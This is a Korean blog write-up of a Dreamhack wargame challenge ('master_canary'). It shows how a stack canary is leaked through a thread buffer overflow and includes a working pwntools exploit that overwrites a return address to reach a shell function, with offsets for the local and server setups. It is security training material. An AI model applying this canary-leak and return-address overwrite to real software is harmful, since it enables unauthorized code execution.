security/포너블 - dreamhack

[Dreamhack Wargame] master_canary (level2)

민사민서 2023. 6. 20. 19:44

level 2이지만 master_canary level 1보다 쉬웠다. 도커파일을 이용해 가상환경을 구현해 옾셋 확인할 수 있었음

서버 환경은 다음과 같다.

[취약점]

thread_routine에 의해 전역변수 global_buffer 포인터에 thread stack의 버퍼 주소가 저장된다

// thread_routine에서 buf = [rbp-0x110], canary = [rbp-0x8]

case 2에서 해당 버퍼의 BOF가 가능하다

case 3에서 leave_comment 버퍼의 BOF가 가능하다, RET overwrite to get_shell 하면 될 듯

// leave_comment = [rbp-0x30], canary = [rbp-0x8]

[Exploit Scenario]

1. master_canary를 overwrite 하거나
2. canary를 leak한다

[로컬에서 먼저 exploit]

thread_routine과 main에 각각 bp를 걸고 살펴보았다
- (새로 생긴 thread의) $fs_base+0x28 주소와 global_buffer 간의 거리는 0x928
- main thread의 $fs_base+0x28 주소와 global_buffer 간의 거리는 0x1a28  
* 두 TEB의 header.stack_guard에는 동일한 카나리 값 들어있었음
-> main함수 epilogue에서 canary check 통과해야 하므로 0x1a30까지 overwrite해야 한다

-> global_buffer+0x930까지 overwrite하면 문제없이 잘 되나, main thread의 master_canary가 overwrite되지 않음

-> global_buffer+0x1a30까지 overwrite하면 프로그램 터짐, 새로운 thread의 PEB 다 덮어버리기 때문인거 같음(?)

 

canary leak 하자 (NULL 바이트 이용)

아무리봐도 payload 올바른데 get_shell의 system() 실행 안되고 죽어버리길래 NOP gadget 이용해 stack alignment 맞춰줬더니 되더라

from pwn import *

p = process("./master_canary")

getshell = 0x400a4a
ret = 0x00000000004007e1

p.sendlineafter("> ", "1")
p.sendlineafter("> ", "2")
p.sendlineafter("Size: ", str(0x929))
p.sendafter("Data: ", b'A'*0x929)

p.recvuntil('A'*0x929)
canary = u64(b'\x00'+p.recvn(7))

print(hex(canary))

p.sendlineafter("> ", "3")
p.sendafter("Leave comment: ", b'A'*0x28+p64(canary)+b'B'*0x8+p64(ret)+p64(getshell))

p.interactive()

[서버 환경에서 exploit]

도커 환경에서 해당 바이너리 실행시킨다음, 호스트의 gdb를 attach 시켜서 분석했다.

thread_routine과 main에 각각 bp를 걸고 살펴보았다

- (새로 생긴 thread의) $fs_base+0x28 주소와 global_buffer 간의 거리는 0x8e8

- main thread의 $fs_base+0x28 주소와 global_buffer 간의 거리는 0x8088e8  

맨 윗 섹션에 thread stack / thread TEB 존재, 맨 아래 섹션에 main thread TEB 존재

p.sendlineafter("Size: ", str(0x8e9))
p.sendafter("Data: ", b'A'*0x8e9)

p.recvuntil('A'*0x8e9)

local_payload에서 size 만 바꾸면 됨